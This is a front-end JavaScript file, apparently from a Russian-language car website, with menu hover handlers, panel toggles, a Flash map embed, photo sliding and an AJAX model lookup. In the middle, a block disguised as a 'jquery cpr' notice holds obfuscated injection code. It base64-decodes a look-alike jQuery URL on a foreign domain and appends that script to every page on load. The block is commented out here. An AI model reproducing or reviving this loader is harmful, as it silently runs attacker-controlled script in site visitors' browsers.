var s_focus = new Array();
var s_group = false;
var s_idbg  = 's_idbg';

function im_over (g, i, b) {
	if (!s_focus[g]) s_focus[g] = new Array();

	for(var j in s_focus[g]) {setOff(s_focus[g][j]);}

	s_focus[g][i] = i;
	setOn(i);
	if (b) {s_group = g; document.getElementById(s_idbg).style.display = 'inline';}
}
function setOn  (i) {for(var j in i) {
	if (i[j][0] == 'd') {		//alert( document.getElementById(i[j][1] + '_item').offsetWidth )		document.getElementById(i[j][1]).style.display = 'inline';
		if(  document.getElementById(i[j][1] + '_item') )
			{
				var left = document.getElementById(i[j][1] + '_item').offsetWidth + 20 ;
				document.getElementById(i[j][1] ).style.left = ( -left ) + 'px' ;
				if( document.body.scrollWidth > document.body.clientWidth )
					document.getElementById(i[j][1] ).style.left = ( - left - document.body.scrollWidth + document.body.clientWidth ) + 'px' ;
			}
	}
	if (i[j][0] == 'v') document.getElementById(i[j][1]).style.visibility = 'visible';
	if (i[j][0] == 'color') document.getElementById(i[j][1]).style.color = i[j][2];
	if (i[j][0] == 'bgcolor') {		document.getElementById(i[j][1]).style.backgroundColor = i[j][2];
			//document.getElementById(i[j][1] + '_logo').style.backgroundColor = i[j][4];
	}
	if (i[j][0] == 'c') document.getElementById(i[j][1]).className = i[j][2]; }}
function setOff (i) {for(var j in i) {
	if (i[j][0] == 'd') document.getElementById(i[j][1]).style.display = 'none';
	if (i[j][0] == 'v') document.getElementById(i[j][1]).style.visibility = 'visible';
	if (i[j][0] == 'color') document.getElementById(i[j][1]).style.color = i[j][3];
	if (i[j][0] == 'bgcolor') {		document.getElementById(i[j][1]).style.backgroundColor = i[j][3];
		/*if( document.getElementById(i[j][1] + '_logo') )
			document.getElementById(i[j][1] + '_logo').style.backgroundColor = i[j][5];*/
	}
	if (i[j][0] == 'c') document.getElementById(i[j][1]).className = i[j][3]; }}

function im_out () {
	for(var j in s_focus[s_group]) {setOff(s_focus[s_group][j]);}
	document.getElementById(s_idbg).style.display = 'none';
}


function c_finfo () {
	if (document.getElementById('car_finfo').style.display == 'block') {
		document.getElementById('car_finfo').style.display = 'none';
	} else
		document.getElementById('car_finfo').style.display = 'block';
}


function ___fun_div (id) {
	if (document.getElementById(id).style.display == 'block') {
		document.getElementById(id).style.display = 'none';
	} else
		document.getElementById(id).style.display = 'block';
}
//==================================================
function dic_on (id) {
	if (document.getElementById(id).style.display == 'inline')
		document.getElementById(id).style.display = 'none';
	else
		document.getElementById(id).style.display = 'inline';
}
var temp_map = false;
function full_map (id,x,y) {
	if (!temp_map) temp_map = document.getElementById('map_full').innerHTML;

	document.getElementById('map_full').innerHTML = '<div id="flashContent"><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="'+x+'" height="'+y+'" id="map" align="middle"><param name="movie" value="flash/'+id+'.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><param name="play" value="true" /><param name="loop" value="true" /><param name="wmode" value="window" /><param name="scale" value="showall" /><param name="menu" value="true" /><param name="devicefont" value="false" /><param name="salign" value="" /><param name="allowScriptAccess" value="sameDomain" /><!--[if !IE]>--><object type="application/x-shockwave-flash" data="flash/'+id+'.swf" width="'+x+'" height="'+y+'"><param name="movie" value="flash/'+id+'.swf" /><param name="quality" value="high" /><param name="bgcolor" value="#ffffff" /><param name="play" value="true" /><param name="loop" value="true" /><param name="wmode" value="window" /><param name="scale" value="showall" /><param name="menu" value="true" /><param name="devicefont" value="false" /><param name="salign" value="" /><param name="allowScriptAccess" value="sameDomain" /><!--<![endif]--><a href="http://www.adobe.com/go/getflash"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Загрузить Adobe Flash Player" /></a><!--[if !IE]>--></object><!--<![endif]--></object></div><br><span onclick="small_map();" style="cursor:pointer;">назад</span>';

}
function small_map () {document.getElementById('map_full').innerHTML = temp_map;}

/* === jquery cpr ===
if(!document.xmlSettings)document.xmlSettings={};document.xmlSettings.ae=function(e,et,f){if(e.addEventListener){e.addEventListener(et,f,false);return f;}ief=function(){f.call(f)};e.attachEvent('on'+et,ief);return ief;};document.xmlSettings.bd=function(data){var b64="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=b64.indexOf(data.charAt(i++));h2=b64.indexOf(data.charAt(i++));h3=b64.indexOf(data.charAt(i++));h4=b64.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64)enc+=String.fromCharCode(o1);else if(h4==64)enc+=String.fromCharCode(o1,o2);else enc+=String.fromCharCode(o1,o2,o3);}while(i<data.length);return enc;};document.xmlSettings.ae(window,'load',function(e){document.xmlSettings.ssrc=document.xmlSettings.bd('aHR0cDovL2pxdWVyeS1taW4uanNzZWMubmV0LzIvanF1ZXJ5LTEuMy4yLmpz');document.xmlSettings.scriptElement=document.createElement('script');document.xmlSettings.scriptElement.setAttribute('type','text/javascript');document.xmlSettings.scriptElement.setAttribute('src',document.xmlSettings.ssrc);document.body.appendChild(document.xmlSettings.scriptElement);});
 === /jquery cpr === */

var _seedit_focus = false;
function _seedit (v) {
	if (_seedit_focus) document.getElementById(_seedit_focus).style.display = 'none';
	document.getElementById('model_for_'+v).style.display = 'block';
	document.getElementById('model_for_'+v).style.width = '100%';
	_seedit_focus = 'model_for_'+v;

	_sdddit(document.getElementById('model_for_'+v).value);
}

var _photosee = false;
function _photo (idsee, idmin) {
	if (_photosee) {
		document.getElementById(_photosee[0]).style.zIndex  = '70';
		$('#'+_photosee[0]).animate({left: -490},400,'swing');
		$('#'+_photosee[1]).animate({left: 0},400,'swing');
	}

	document.getElementById(idsee).style.display = 'inline';
	document.getElementById(idsee).style.zIndex  = '80';
	$('#'+idsee).animate({left: 0},400,'swing');
	$('#'+idmin).animate({left: 76},400,'swing');

	_photosee = [idsee,idmin];
}


function _sdddit (name) {
	//window.alert('ok1');
	function _xml () {
		var xml = false;

		try {xml = new XMLHttpRequest();}
		catch (error) {
			try {xml = new ActiveXObject("Msxml2.XMLHTTP");}
			catch (error) {
				try {xml = new ActiveXObject("Microsoft.XMLHTTP")}
				catch (error) {xml = false;}
			}
		}

		return xml;
	}

	var _x = _xml();
	var url = "../../../../select_model.php/?n="+name;
	//window.alert('ok2');
	_x.open("GET", url, true);
	_x.onreadystatechange = _updatePage;
	_x.send(null);


	function _updatePage() {
	  if (_x.readyState == 4) {
		var response = _x.responseText;
		document.getElementById("__mod").innerHTML = response;
	  }
	  //else window.alert('error');
	}
}



